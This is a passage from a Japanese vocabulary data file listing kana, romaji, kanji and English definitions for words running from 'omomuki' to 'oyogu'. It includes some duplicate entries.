idea\"\n\t},\n\n\t{\n\t\t'kana':'おもむき',\n\t\t'romaji':'omomuki',\n\t\t'kanji':'趣',\n\t\t'definition':\"meaning;tenor;gist;effect;appearance;taste;grace;charm;refinement\"\n\t},\n\n\t{\n\t\t'kana':'おもむく',\n\t\t'romaji':'omomuku',\n\t\t'kanji':'赴く',\n\t\t'definition':\"to go;to proceed;to repair to;to become\"\n\t},\n\n\t{\n\t\t'kana':'おもなる',\n\t\t'romaji':'omonaru',\n\t\t'kanji':'重なる',\n\t\t'definition':\"main;principal;important\"\n\t},\n\n\t{\n\t\t'kana':'おもに',\n\t\t'romaji':'omoni',\n\t\t'kanji':'主に',\n\t\t'definition':\"mainly;primarily\"\n\t},\n\n\t{\n\t\t'kana':'おもんじる',\n\t\t'romaji':'omonjiru',\n\t\t'kanji':'重んじる',\n\t\t'definition':\"to respect;to honor;to esteem;to prize\"\n\t},\n\n\t{\n\t\t'kana':'おもんずる',\n\t\t'romaji':'omonzuru',\n\t\t'kanji':'重んずる',\n\t\t'definition':\"to honor;to respect;to esteem;to prize\"\n\t},\n\n\t{\n\t\t'kana':'おもしろい',\n\t\t'romaji':'omoshiroi',\n\t\t'kanji':'面白い',\n\t\t'definition':\"interesting;amusing\"\n\t},\n\n\t{\n\t\t'kana':'おもたい',\n\t\t'romaji':'omotai',\n\t\t'kanji':'重たい',\n\t\t'definition':\"heavy;massive;serious;important;severe;oppressed\"\n\t},\n\n\t{\n\t\t'kana':'おもて',\n\t\t'romaji':'omote',\n\t\t'kanji':'表',\n\t\t'definition':\"surface;front;right side;face;exterior;outside;the street;mat covers;head (of a coin);first half (of an innings)\"\n\t},\n\n\t{\n\t\t'kana':'おもて',\n\t\t'romaji':'omote',\n\t\t'kanji':'表',\n\t\t'definition':\"surface;front;right side;face;exterior;outside;the street;mat covers;head (of a coin);first half (of an innings)\"\n\t},\n\n\t{\n\t\t'kana':'おもう',\n\t\t'romaji':'omou',\n\t\t'kanji':'思う',\n\t\t'definition':\"to think;to feel\"\n\t},\n\n\t{\n\t\t'kana':'おもわず',\n\t\t'romaji':'omowazu',\n\t\t'kanji':'思わず',\n\t\t'definition':\"unintentional;spontaneous\"\n\t},\n\n\t{\n\t\t'kana':'おもやく',\n\t\t'romaji':'omoyaku',\n\t\t'kanji':'重役',\n\t\t'definition':\"heavy responsibilities;director\"\n\t},\n\n\t{\n\t\t'kana':'おむつ',\n\t\t'romaji':'omutsu',\n\t\t'kanji':'お襁褓',\n\t\t'definition':\"diaper;nappy\"\n\t},\n\n\t{\n\t\t'kana':'おん',\n\t\t'romaji':'on',\n\t\t'kanji':'恩',\n\t\t'definition':\"favour;obligation\"\n\t},\n\n\t{\n\t\t'kana':'おなご',\n\t\t'romaji':'onago',\n\t\t'kanji':'女子',\n\t\t'definition':\"woman;girl\"\n\t},\n\n\t{\n\t\t'kana':'おないどし',\n\t\t'romaji':'onaidoshi',\n\t\t'kanji':'同い年',\n\t\t'definition':\"of the same age\"\n\t},\n\n\t{\n\t\t'kana':'おなじ',\n\t\t'romaji':'onaji',\n\t\t'kanji':'同じ',\n\t\t'definition':\"same;identical;equal;uniform;equivalent;similar;common (origin);changeless\"\n\t},\n\n\t{\n\t\t'kana':'おなか',\n\t\t'romaji':'onaka',\n\t\t'kanji':'お腹',\n\t\t'definition':\"stomach\"\n\t},\n\n\t{\n\t\t'kana':'おんぶ',\n\t\t'romaji':'onbu',\n\t\t'kanji':'負んぶ',\n\t\t'definition':\"carrying on one's back (e.g. baby)\"\n\t},\n\n\t{\n\t\t'kana':'おんちゅう',\n\t\t'romaji':'onchuu',\n\t\t'kanji':'御中',\n\t\t'definition':\"and Company;Messrs.\"\n\t},\n\n\t{\n\t\t'kana':'おんだん',\n\t\t'romaji':'ondan',\n\t\t'kanji':'温暖',\n\t\t'definition':\"warmth\"\n\t},\n\n\t{\n\t\t'kana':'おんど',\n\t\t'romaji':'ondo',\n\t\t'kanji':'温度',\n\t\t'definition':\"temperature\"\n\t},\n\n\t{\n\t\t'kana':'おねえさん',\n\t\t'romaji':'oneesan',\n\t\t'kanji':'お姉さん',\n\t\t'definition':\"older sister;(vocative) Miss?\"\n\t},\n\n\t{\n\t\t'kana':'おねがいします',\n\t\t'romaji':'onegaishimasu',\n\t\t'kanji':'お願いします',\n\t\t'definition':\"please\"\n\t},\n\n\t{\n\t\t'kana':'おんがく',\n\t\t'romaji':'ongaku',\n\t\t'kanji':'音楽',\n\t\t'definition':\"music;musical movement\"\n\t},\n\n\t{\n\t\t'kana':'おに',\n\t\t'romaji':'oni',\n\t\t'kanji':'鬼',\n\t\t'definition':\"ogre;demon;it (i.e. in a game of tag)\"\n\t},\n\n\t{\n\t\t'kana':'おにいさん',\n\t\t'romaji':'oniisan',\n\t\t'kanji':'お兄さん',\n\t\t'definition':\"older brother;(vocative) Mister?\"\n\t},\n\n\t{\n\t\t'kana':'おんいろ',\n\t\t'romaji':'oniro',\n\t\t'kanji':'音色',\n\t\t'definition':\"tone color;tone quality;timbre;synthesizer patch\"\n\t},\n\n\t{\n\t\t'kana':'おんけい',\n\t\t'romaji':'onkei',\n\t\t'kanji':'恩恵',\n\t\t'definition':\"grace;favor;blessing;benefit\"\n\t},\n\n\t{\n\t\t'kana':'おんな',\n\t\t'romaji':'onna',\n\t\t'kanji':'女',\n\t\t'definition':\"woman\"\n\t},\n\n\t{\n\t\t'kana':'おんな',\n\t\t'romaji':'onna',\n\t\t'kanji':'女',\n\t\t'definition':\"woman\"\n\t},\n\n\t{\n\t\t'kana':'おんなのひと',\n\t\t'romaji':'onnanohito',\n\t\t'kanji':'女の人',\n\t\t'definition':\"woman\"\n\t},\n\n\t{\n\t\t'kana':'おんなのこ',\n\t\t'romaji':'onnanoko',\n\t\t'kanji':'女の子',\n\t\t'definition':\"girl\"\n\t},\n\n\t{\n\t\t'kana':'おのおの',\n\t\t'romaji':'onoono',\n\t\t'kanji':'各',\n\t\t'definition':\"each;every;either;respectively;severally\"\n\t},\n\n\t{\n\t\t'kana':'おのおの',\n\t\t'romaji':'onoono',\n\t\t'kanji':'各々',\n\t\t'definition':\"each;every;either;respectively;severally\"\n\t},\n\n\t{\n\t\t'kana':'おのずから',\n\t\t'romaji':'onozukara',\n\t\t'kanji':'自ずから',\n\t\t'definition':\"naturally;as a matter of course\"\n\t},\n\n\t{\n\t\t'kana':'オンライン',\n\t\t'romaji':'onrain',\n\t\t'kanji':'',\n\t\t'definition':\"on-line\"\n\t},\n\n\t{\n\t\t'kana':'おんせん',\n\t\t'romaji':'onsen',\n\t\t'kanji':'温泉',\n\t\t'definition':\"spa;hot spring;onsen\"\n\t},\n\n\t{\n\t\t'kana':'おんしつ',\n\t\t'romaji':'onshitsu',\n\t\t'kanji':'温室',\n\t\t'definition':\"greenhouse\"\n\t},\n\n\t{\n\t\t'kana':'おんたい',\n\t\t'romaji':'ontai',\n\t\t'kanji':'温帯',\n\t\t'definition':\"temperate zone\"\n\t},\n\n\t{\n\t\t'kana':'おんわ',\n\t\t'romaji':'onwa',\n\t\t'kanji':'温和',\n\t\t'definition':\"gentle;mild;moderate\"\n\t},\n\n\t{\n\t\t'kana':'おおどおり',\n\t\t'romaji':'oodoori',\n\t\t'kanji':'大通り',\n\t\t'definition':\"main street\"\n\t},\n\n\t{\n\t\t'kana':'おおがら',\n\t\t'romaji':'oogara',\n\t\t'kanji':'大柄',\n\t\t'definition':\"large build;large pattern\"\n\t},\n\n\t{\n\t\t'kana':'おおげさ',\n\t\t'romaji':'oogesa',\n\t\t'kanji':'大げさ',\n\t\t'definition':\"grandiose;exaggerated\"\n\t},\n\n\t{\n\t\t'kana':'おおごと',\n\t\t'romaji':'oogoto',\n\t\t'kanji':'大事',\n\t\t'definition':\"important;valuable;serious matter\"\n\t},\n\n\t{\n\t\t'kana':'おおはば',\n\t\t'romaji':'oohaba',\n\t\t'kanji':'大幅',\n\t\t'definition':\"full width;large scale;drastic\"\n\t},\n\n\t{\n\t\t'kana':'おおい',\n\t\t'romaji':'ooi',\n\t\t'kanji':'多い',\n\t\t'definition':\"many;numerous\"\n\t},\n\n\t{\n\t\t'kana':'おおい',\n\t\t'romaji':'ooi',\n\t\t'kanji':'',\n\t\t'definition':\"hey!\"\n\t},\n\n\t{\n\t\t'kana':'おおいに',\n\t\t'romaji':'ooini',\n\t\t'kanji':'大いに',\n\t\t'definition':\"very;much;greatly\"\n\t},\n\n\t{\n\t\t'kana':'おおかた',\n\t\t'romaji':'ookata',\n\t\t'kanji':'大方',\n\t\t'definition':\"perhaps;almost all;majority\"\n\t},\n\n\t{\n\t\t'kana':'おおきい',\n\t\t'romaji':'ookii',\n\t\t'kanji':'大きい',\n\t\t'definition':\"big;large;great\"\n\t},\n\n\t{\n\t\t'kana':'おおみず',\n\t\t'romaji':'oomizu',\n\t\t'kanji':'大水',\n\t\t'definition':\"flood\"\n\t},\n\n\t{\n\t\t'kana':'おおすじ',\n\t\t'romaji':'oosuji',\n\t\t'kanji':'大筋',\n\t\t'definition':\"outline;summary\"\n\t},\n\n\t{\n\t\t'kana':'おおう',\n\t\t'romaji':'oou',\n\t\t'kanji':'覆う',\n\t\t'definition':\"to cover;to hide;to conceal;to wrap;to disguise\"\n\t},\n\n\t{\n\t\t'kana':'おおや',\n\t\t'romaji':'ooya',\n\t\t'kanji':'大家',\n\t\t'definition':\"landlord;landlady\"\n\t},\n\n\t{\n\t\t'kana':'おおや',\n\t\t'romaji':'ooya',\n\t\t'kanji':'大家',\n\t\t'definition':\"landlord;landlady\"\n\t},\n\n\t{\n\t\t'kana':'おおやけ',\n\t\t'romaji':'ooyake',\n\t\t'kanji':'公',\n\t\t'definition':\"official;public;formal;open;governmental\"\n\t},\n\n\t{\n\t\t'kana':'おおよそ',\n\t\t'romaji':'ooyoso',\n\t\t'kanji':'大凡',\n\t\t'definition':\"about;roughly;as a rule;approximately\"\n\t},\n\n\t{\n\t\t'kana':'おおざっぱ',\n\t\t'romaji':'oozapa',\n\t\t'kanji':'大ざっぱ',\n\t\t'definition':\"rough (as in not precise);broad;sketchy\"\n\t},\n\n\t{\n\t\t'kana':'おおぞら',\n\t\t'romaji':'oozora',\n\t\t'kanji':'大空',\n\t\t'definition':\"heaven;firmament;the sky\"\n\t},\n\n\t{\n\t\t'kana':'オープン',\n\t\t'romaji':'o-pun',\n\t\t'kanji':'',\n\t\t'definition':\"open\"\n\t},\n\n\t{\n\t\t'kana':'おれ',\n\t\t'romaji':'ore',\n\t\t'kanji':'俺',\n\t\t'definition':\"I (ego) (boastful first-person pronoun)\"\n\t},\n\n\t{\n\t\t'kana':'オレンジ',\n\t\t'romaji':'orenzi',\n\t\t'kanji':'',\n\t\t'definition':\"an orange\"\n\t},\n\n\t{\n\t\t'kana':'おれる',\n\t\t'romaji':'oreru',\n\t\t'kanji':'折れる',\n\t\t'definition':\"to break;to be folded;to give in;to turn (a corner)\"\n\t},\n\n\t{\n\t\t'kana':'おり',\n\t\t'romaji':'ori',\n\t\t'kanji':'檻',\n\t\t'definition':\"cage;pen;jail cell\"\n\t},\n\n\t{\n\t\t'kana':'おり',\n\t\t'romaji':'ori',\n\t\t'kanji':'織',\n\t\t'definition':\"weave;weaving;woven item\"\n\t},\n\n\t{\n\t\t'kana':'オリエンテーション',\n\t\t'romaji':'oriente-syon',\n\t\t'kanji':'',\n\t\t'definition':\"orientation\"\n\t},\n\n\t{\n\t\t'kana':'おりかえす',\n\t\t'romaji':'orikaesu',\n\t\t'kanji':'折り返す',\n\t\t'definition':\"to turn up;to fold back\"\n\t},\n\n\t{\n\t\t'kana':'おりもの',\n\t\t'romaji':'orimono',\n\t\t'kanji':'織物',\n\t\t'definition':\"textile;fabric\"\n\t},\n\n\t{\n\t\t'kana':'おりる',\n\t\t'romaji':'oriru',\n\t\t'kanji':'降りる',\n\t\t'definition':\"to alight (e.g. from bus);to get off;to descend (e.g. a mountain)\"\n\t},\n\n\t{\n\t\t'kana':'おりる',\n\t\t'romaji':'oriru',\n\t\t'kanji':'下りる',\n\t\t'definition':\"to alight (e.g. from bus);to get off;to descend (e.g. a mountain)\"\n\t},\n\n\t{\n\t\t'kana':'おろか',\n\t\t'romaji':'oroka',\n\t\t'kanji':'愚か',\n\t\t'definition':\"foolish;stupid\"\n\t},\n\n\t{\n\t\t'kana':'おろそか',\n\t\t'romaji':'orosoka',\n\t\t'kanji':'疎か',\n\t\t'definition':\"neglect;negligence;carelessness\"\n\t},\n\n\t{\n\t\t'kana':'おろす',\n\t\t'romaji':'orosu',\n\t\t'kanji':'降ろす',\n\t\t'definition':\"to take down;to launch;to drop;to lower;to let (a person) off;to unload;to discharge\"\n\t},\n\n\t{\n\t\t'kana':'おろす',\n\t\t'romaji':'orosu',\n\t\t'kanji':'卸す',\n\t\t'definition':\"to sell wholesale;grated (vegetables)\"\n\t},\n\n\t{\n\t\t'kana':'おる',\n\t\t'romaji':'oru',\n\t\t'kanji':'折る',\n\t\t'definition':\"to break;to fold;to pick flower\"\n\t},\n\n\t{\n\t\t'kana':'おる',\n\t\t'romaji':'oru',\n\t\t'kanji':'織る',\n\t\t'definition':\"to weave\"\n\t},\n\n\t{\n\t\t'kana':'オルガン',\n\t\t'romaji':'orugan',\n\t\t'kanji':'',\n\t\t'definition':\"organ\"\n\t},\n\n\t{\n\t\t'kana':'おさ',\n\t\t'romaji':'osa',\n\t\t'kanji':'長',\n\t\t'definition':\"chief;head\"\n\t},\n\n\t{\n\t\t'kana':'おさ',\n\t\t'romaji':'osa',\n\t\t'kanji':'長',\n\t\t'definition':\"chief;head\"\n\t},\n\n\t{\n\t\t'kana':'おさえる',\n\t\t'romaji':'osaeru',\n\t\t'kanji':'押さえる',\n\t\t'definition':\"to stop;to restrain;to seize;to repress;to suppress;to press down\"\n\t},\n\n\t{\n\t\t'kana':'おさきに',\n\t\t'romaji':'osakini',\n\t\t'kanji':'お先に',\n\t\t'definition':\"before;ahead;previously\"\n\t},\n\n\t{\n\t\t'kana':'おさまる',\n\t\t'romaji':'osamaru',\n\t\t'kanji':'治まる',\n\t\t'definition':\"to be at peace;to clamp down;to lessen (storm terror anger)\"\n\t},\n\n\t{\n\t\t'kana':'おさまる',\n\t\t'romaji':'osamaru',\n\t\t'kanji':'納まる',\n\t\t'definition':\"to be obtained;to end;to settle into;to fit into;to be settled;to be paid;to be delivered\"\n\t},\n\n\t{\n\t\t'kana':'おさまる',\n\t\t'romaji':'osamaru',\n\t\t'kanji':'収まる',\n\t\t'definition':\"to be obtained;to end;to settle into;to fit into;to be settled;to be paid;to be delivered\"\n\t},\n\n\t{\n\t\t'kana':'おさめる',\n\t\t'romaji':'osameru',\n\t\t'kanji':'治める',\n\t\t'definition':\"to govern;to manage;to subdue\"\n\t},\n\n\t{\n\t\t'kana':'おさめる',\n\t\t'romaji':'osameru',\n\t\t'kanji':'納める',\n\t\t'definition':\"to obtain;to reap;to pay;to supply;to accept\"\n\t},\n\n\t{\n\t\t'kana':'おさめる',\n\t\t'romaji':'osameru',\n\t\t'kanji':'収める',\n\t\t'definition':\"to obtain;to reap;to pay;to supply;to accept\"\n\t},\n\n\t{\n\t\t'kana':'おさん',\n\t\t'romaji':'osan',\n\t\t'kanji':'お産',\n\t\t'definition':\"(giving) birth\"\n\t},\n\n\t{\n\t\t'kana':'おさない',\n\t\t'romaji':'osanai',\n\t\t'kanji':'幼い',\n\t\t'definition':\"very young;childish\"\n\t},\n\n\t{\n\t\t'kana':'おせじ',\n\t\t'romaji':'oseji',\n\t\t'kanji':'お世辞',\n\t\t'definition':\"flattery;compliment\"\n\t},\n\n\t{\n\t\t'kana':'おせん',\n\t\t'romaji':'osen',\n\t\t'kanji':'汚染',\n\t\t'definition':\"pollution;contamination\"\n\t},\n\n\t{\n\t\t'kana':'おしゃべり',\n\t\t'romaji':'oshaberi',\n\t\t'kanji':'お喋り',\n\t\t'definition':\"chattering;talk;idle talk;chat;chitchat;gossip;chatty;talkative;chatterbox;blabbermouth\"\n\t},\n\n\t{\n\t\t'kana':'おしゃれ',\n\t\t'romaji':'oshare',\n\t\t'kanji':'お洒落',\n\t\t'definition':\"smartly dressed;someone smartly dressed;fashion-conscious\"\n\t},\n\n\t{\n\t\t'kana':'おっしゃる',\n\t\t'romaji':'osharu',\n\t\t'kanji':'仰っしゃる',\n\t\t'definition':\"to say;to speak;to tell;to talk\"\n\t},\n\n\t{\n\t\t'kana':'おしえ',\n\t\t'romaji':'oshie',\n\t\t'kanji':'教え',\n\t\t'definition':\"teachings;precept;lesson;doctrine\"\n\t},\n\n\t{\n\t\t'kana':'おしえる',\n\t\t'romaji':'oshieru',\n\t\t'kanji':'教える',\n\t\t'definition':\"to teach;to inform;to instruct\"\n\t},\n\n\t{\n\t\t'kana':'おしい',\n\t\t'romaji':'oshii',\n\t\t'kanji':'惜しい',\n\t\t'definition':\"regrettable;disappointing;precious\"\n\t},\n\n\t{\n\t\t'kana':'おしいれ',\n\t\t'romaji':'oshiire',\n\t\t'kanji':'押し入れ',\n\t\t'definition':\"closet\"\n\t},\n\n\t{\n\t\t'kana':'おしきる',\n\t\t'romaji':'oshikiru',\n\t\t'kanji':'押し切る',\n\t\t'definition':\"to have one's own way\"\n\t},\n\n\t{\n\t\t'kana':'おしこむ',\n\t\t'romaji':'oshikomu',\n\t\t'kanji':'押し込む',\n\t\t'definition':\"to push into;to crowd into\"\n\t},\n\n\t{\n\t\t'kana':'おしむ',\n\t\t'romaji':'oshimu',\n\t\t'kanji':'惜しむ',\n\t\t'definition':\"to be frugal;to value;to regret\"\n\t},\n\n\t{\n\t\t'kana':'おしよせる',\n\t\t'romaji':'oshiyoseru',\n\t\t'kanji':'押し寄せる',\n\t\t'definition':\"to push aside;to advance on\"\n\t},\n\n\t{\n\t\t'kana':'おそい',\n\t\t'romaji':'osoi',\n\t\t'kanji':'遅い',\n\t\t'definition':\"late;slow\"\n\t},\n\n\t{\n\t\t'kana':'おそくとも',\n\t\t'romaji':'osokutomo',\n\t\t'kanji':'遅くとも',\n\t\t'definition':\"at the latest\"\n\t},\n\n\t{\n\t\t'kana':'おそらく',\n\t\t'romaji':'osoraku',\n\t\t'kanji':'恐らく',\n\t\t'definition':\"perhaps\"\n\t},\n\n\t{\n\t\t'kana':'おそれ',\n\t\t'romaji':'osore',\n\t\t'kanji':'恐れ',\n\t\t'definition':\"fear;horror\"\n\t},\n\n\t{\n\t\t'kana':'おそれいる',\n\t\t'romaji':'osoreiru',\n\t\t'kanji':'恐れ入る',\n\t\t'definition':\"to be filled with awe;to feel small;to be amazed;to be surprised;to be disconcerted;to be sorry;to be grateful;to be defeated;to confess guilt\"\n\t},\n\n\t{\n\t\t'kana':'おそれる',\n\t\t'romaji':'osoreru',\n\t\t'kanji':'恐れる',\n\t\t'definition':\"to fear;to be afraid of\"\n\t},\n\n\t{\n\t\t'kana':'おそろしい',\n\t\t'romaji':'osoroshii',\n\t\t'kanji':'恐ろしい',\n\t\t'definition':\"terrible;dreadful\"\n\t},\n\n\t{\n\t\t'kana':'おそう',\n\t\t'romaji':'osou',\n\t\t'kanji':'襲う',\n\t\t'definition':\"to attack\"\n\t},\n\n\t{\n\t\t'kana':'おそわる',\n\t\t'romaji':'osowaru',\n\t\t'kanji':'教わる',\n\t\t'definition':\"to be taught\"\n\t},\n\n\t{\n\t\t'kana':'おす',\n\t\t'romaji':'osu',\n\t\t'kanji':'押す',\n\t\t'definition':\"to push;to press;to stamp (i.e. a passport)\"\n\t},\n\n\t{\n\t\t'kana':'おす',\n\t\t'romaji':'osu',\n\t\t'kanji':'雄',\n\t\t'definition':\"male (animal)\"\n\t},\n\n\t{\n\t\t'kana':'おてあげ',\n\t\t'romaji':'oteage',\n\t\t'kanji':'お手上げ',\n\t\t'definition':\"all over;given in;given up hope;bring to knees\"\n\t},\n\n\t{\n\t\t'kana':'おてあらい',\n\t\t'romaji':'otearai',\n\t\t'kanji':'御手洗い',\n\t\t'definition':\"toilet;restroom;lavatory;bathroom (US)\"\n\t},\n\n\t{\n\t\t'kana':'おてつだいさん',\n\t\t'romaji':'otetsudaisan',\n\t\t'kanji':'お手伝いさん',\n\t\t'definition':\"maid\"\n\t},\n\n\t{\n\t\t'kana':'おと',\n\t\t'romaji':'oto',\n\t\t'kanji':'音',\n\t\t'definition':\"sound;note\"\n\t},\n\n\t{\n\t\t'kana':'おと',\n\t\t'romaji':'oto',\n\t\t'kanji':'弟',\n\t\t'definition':\"younger brother\"\n\t},\n\n\t{\n\t\t'kana':'おと',\n\t\t'romaji':'oto',\n\t\t'kanji':'音',\n\t\t'definition':\"sound;note\"\n\t},\n\n\t{\n\t\t'kana':'おと',\n\t\t'romaji':'oto',\n\t\t'kanji':'音',\n\t\t'definition':\"sound;note\"\n\t},\n\n\t{\n\t\t'kana':'おっと',\n\t\t'romaji':'oto',\n\t\t'kanji':'夫',\n\t\t'definition':\"(my) husband\"\n\t},\n\n\t{\n\t\t'kana':'オートバイ',\n\t\t'romaji':'o-tobai',\n\t\t'kanji':'',\n\t\t'definition':\"motorcycle (lit: auto-bi(ke))\"\n\t},\n\n\t{\n\t\t'kana':'おとこ',\n\t\t'romaji':'otoko',\n\t\t'kanji':'男',\n\t\t'definition':\"man\"\n\t},\n\n\t{\n\t\t'kana':'おとこのひと',\n\t\t'romaji':'otokonohito',\n\t\t'kanji':'男の人',\n\t\t'definition':\"man\"\n\t},\n\n\t{\n\t\t'kana':'オートマチック',\n\t\t'romaji':'o-tomachiku',\n\t\t'kanji':'',\n\t\t'definition':\"automatic\"\n\t},\n\n\t{\n\t\t'kana':'おとめ',\n\t\t'romaji':'otome',\n\t\t'kanji':'少女',\n\t\t'definition':\"daughter;young lady;virgin;maiden;little girl\"\n\t},\n\n\t{\n\t\t'kana':'オートメーション',\n\t\t'romaji':'o-tome-syon',\n\t\t'kanji':'',\n\t\t'definition':\"automation\"\n\t},\n\n\t{\n\t\t'kana':'おとも',\n\t\t'romaji':'otomo',\n\t\t'kanji':'お供',\n\t\t'definition':\"attendant;companion\"\n\t},\n\n\t{\n\t\t'kana':'おとな',\n\t\t'romaji':'otona',\n\t\t'kanji':'大人',\n\t\t'definition':\"adult\"\n\t},\n\n\t{\n\t\t'kana':'おとなしい',\n\t\t'romaji':'otonashii',\n\t\t'kanji':'大人しい',\n\t\t'definition':\"obedient;docile;quiet\"\n\t},\n\n\t{\n\t\t'kana':'おとろえる',\n\t\t'romaji':'otoroeru',\n\t\t'kanji':'衰える',\n\t\t'definition':\"to become weak;to decline;to wear;to abate;to decay;to wither;to waste away\"\n\t},\n\n\t{\n\t\t'kana':'おとる',\n\t\t'romaji':'otoru',\n\t\t'kanji':'劣る',\n\t\t'definition':\"to fall behind;to be inferior to\"\n\t},\n\n\t{\n\t\t'kana':'おとしもの',\n\t\t'romaji':'otoshimono',\n\t\t'kanji':'落し物',\n\t\t'definition':\"lost property\"\n\t},\n\n\t{\n\t\t'kana':'おとす',\n\t\t'romaji':'otosu',\n\t\t'kanji':'落とす',\n\t\t'definition':\"to drop;to lose;to let fall\"\n\t},\n\n\t{\n\t\t'kana':'おととい',\n\t\t'romaji':'ototoi',\n\t\t'kanji':'一昨日',\n\t\t'definition':\"day before yesterday\"\n\t},\n\n\t{\n\t\t'kana':'おととし',\n\t\t'romaji':'ototoshi',\n\t\t'kanji':'一昨年',\n\t\t'definition':\"year before last\"\n\t},\n\n\t{\n\t\t'kana':'おとうさん',\n\t\t'romaji':'otousan',\n\t\t'kanji':'お父さん',\n\t\t'definition':\"father\"\n\t},\n\n\t{\n\t\t'kana':'おとずれる',\n\t\t'romaji':'otozureru',\n\t\t'kanji':'訪れる',\n\t\t'definition':\"to visit\"\n\t},\n\n\t{\n\t\t'kana':'おつ',\n\t\t'romaji':'otsu',\n\t\t'kanji':'乙',\n\t\t'definition':\"1. strange;quaint;stylish;chic;spicy;queer;witty;tasty;romantic; 2. 2nd in rank;second sign of the Chinese calendar\"\n\t},\n\n\t{\n\t\t'kana':'おつかい',\n\t\t'romaji':'otsukai',\n\t\t'kanji':'お使い',\n\t\t'definition':\"errand\"\n\t},\n\n\t{\n\t\t'kana':'おう',\n\t\t'romaji':'ou',\n\t\t'kanji':'追う',\n\t\t'definition':\"to chase;to run after\"\n\t},\n\n\t{\n\t\t'kana':'おう',\n\t\t'romaji':'ou',\n\t\t'kanji':'王',\n\t\t'definition':\"1. king;ruler;sovereign;monarch; 2. king (for senior player) (shogi)\"\n\t},\n\n\t{\n\t\t'kana':'おう',\n\t\t'romaji':'ou',\n\t\t'kanji':'負う',\n\t\t'definition':\"to bear;to owe\"\n\t},\n\n\t{\n\t\t'kana':'おうべい',\n\t\t'romaji':'oubei',\n\t\t'kanji':'欧米',\n\t\t'definition':\"Europe and America;the West\"\n\t},\n\n\t{\n\t\t'kana':'おうぼ',\n\t\t'romaji':'oubo',\n\t\t'kanji':'応募',\n\t\t'definition':\"subscription;application\"\n\t},\n\n\t{\n\t\t'kana':'おうだん',\n\t\t'romaji':'oudan',\n\t\t'kanji':'横断',\n\t\t'definition':\"crossing\"\n\t},\n\n\t{\n\t\t'kana':'おうえん',\n\t\t'romaji':'ouen',\n\t\t'kanji':'応援',\n\t\t'definition':\"aid;assistance;help;reinforcement;rooting;barracking;support;cheering\"\n\t},\n\n\t{\n\t\t'kana':'おうふく',\n\t\t'romaji':'oufuku',\n\t\t'kanji':'往復',\n\t\t'definition':\"round trip;coming and going;return ticket\"\n\t},\n\n\t{\n\t\t'kana':'おうごん',\n\t\t'romaji':'ougon',\n\t\t'kanji':'黄金',\n\t\t'definition':\"gold\"\n\t},\n\n\t{\n\t\t'kana':'おうじ',\n\t\t'romaji':'ouji',\n\t\t'kanji':'王子',\n\t\t'definition':\"prince\"\n\t},\n\n\t{\n\t\t'kana':'おうじる',\n\t\t'romaji':'oujiru',\n\t\t'kanji':'応じる',\n\t\t'definition':\"to respond;to satisfy;to accept;to comply with;to apply for\"\n\t},\n\n\t{\n\t\t'kana':'おうじょ',\n\t\t'romaji':'oujyo',\n\t\t'kanji':'王女',\n\t\t'definition':\"princess\"\n\t},\n\n\t{\n\t\t'kana':'おうきゅう',\n\t\t'romaji':'oukyuu',\n\t\t'kanji':'応急',\n\t\t'definition':\"emergency\"\n\t},\n\n\t{\n\t\t'kana':'おうさま',\n\t\t'romaji':'ousama',\n\t\t'kanji':'王様',\n\t\t'definition':\"king\"\n\t},\n\n\t{\n\t\t'kana':'おうせつ',\n\t\t'romaji':'ousetsu',\n\t\t'kanji':'応接',\n\t\t'definition':\"reception\"\n\t},\n\n\t{\n\t\t'kana':'おうしん',\n\t\t'romaji':'oushin',\n\t\t'kanji':'往診',\n\t\t'definition':\"doctor's visit;house call\"\n\t},\n\n\t{\n\t\t'kana':'おうしょく',\n\t\t'romaji':'oushoku',\n\t\t'kanji':'黄色',\n\t\t'definition':\"yellow\"\n\t},\n\n\t{\n\t\t'kana':'おうたい',\n\t\t'romaji':'outai',\n\t\t'kanji':'応対',\n\t\t'definition':\"receiving;dealing with\"\n\t},\n\n\t{\n\t\t'kana':'おうよう',\n\t\t'romaji':'ouyou',\n\t\t'kanji':'応用',\n\t\t'definition':\"application;put to practical use\"\n\t},\n\n\t{\n\t\t'kana':'おうずる',\n\t\t'romaji':'ouzuru',\n\t\t'kanji':'応ずる',\n\t\t'definition':\"to answer;to respond;to meet;to satisfy;to accept\"\n\t},\n\n\t{\n\t\t'kana':'おわり',\n\t\t'romaji':'owari',\n\t\t'kanji':'終わり',\n\t\t'definition':\"the end\"\n\t},\n\n\t{\n\t\t'kana':'おわる',\n\t\t'romaji':'owaru',\n\t\t'kanji':'終わる',\n\t\t'definition':\"to finish;to close\"\n\t},\n\n\t{\n\t\t'kana':'おわる',\n\t\t'romaji':'owaru',\n\t\t'kanji':'終わる',\n\t\t'definition':\"to finish;to close\"\n\t},\n\n\t{\n\t\t'kana':'おや',\n\t\t'romaji':'oya',\n\t\t'kanji':'親',\n\t\t'definition':\"parents\"\n\t},\n\n\t{\n\t\t'kana':'おや',\n\t\t'romaji':'oya',\n\t\t'kanji':'',\n\t\t'definition':\"oh!;oh?;my!\"\n\t},\n\n\t{\n\t\t'kana':'おやじ',\n\t\t'romaji':'oyaji',\n\t\t'kanji':'親父',\n\t\t'definition':\"one's father;old man;one's boss\"\n\t},\n\n\t{\n\t\t'kana':'おやすみ',\n\t\t'romaji':'oyasumi',\n\t\t'kanji':'お休み',\n\t\t'definition':\"holiday;absence;rest;Good night\"\n\t},\n\n\t{\n\t\t'kana':'おやつ',\n\t\t'romaji':'oyatsu',\n\t\t'kanji':'お八',\n\t\t'definition':\"1. (uk) between meal snack;afternoon refreshment;afternoon tea; 2. mid-day snack\"\n\t},\n\n\t{\n\t\t'kana':'おやゆび',\n\t\t'romaji':'oyayubi',\n\t\t'kanji':'親指',\n\t\t'definition':\"thumb\"\n\t},\n\n\t{\n\t\t'kana':'および',\n\t\t'romaji':'oyobi',\n\t\t'kanji':'及び',\n\t\t'definition':\"and;as well as\"\n\t},\n\n\t{\n\t\t'kana':'およぼす',\n\t\t'romaji':'oyobosu',\n\t\t'kanji':'及ぼす',\n\t\t'definition':\"to exert;to cause;to exercise\"\n\t},\n\n\t{\n\t\t'kana':'およぶ',\n\t\t'romaji':'oyobu',\n\t\t'kanji':'及ぶ',\n\t\t'definition':\"to reach;to come up to;to amount to;to befall;to happen to;to extend;to match;to equal\"\n\t},\n\n\t{\n\t\t'kana':'およぎ',\n\t\t'romaji':'oyogi',\n\t\t'kanji':'泳ぎ',\n\t\t'definition':\"swimming\"\n\t},\n\n\t{\n\t\t'kana':'およぐ',\n\t\t'romaji':'oyogu',\n\t\t'kanji':'泳ぐ',\n\t\t'definition':\"to 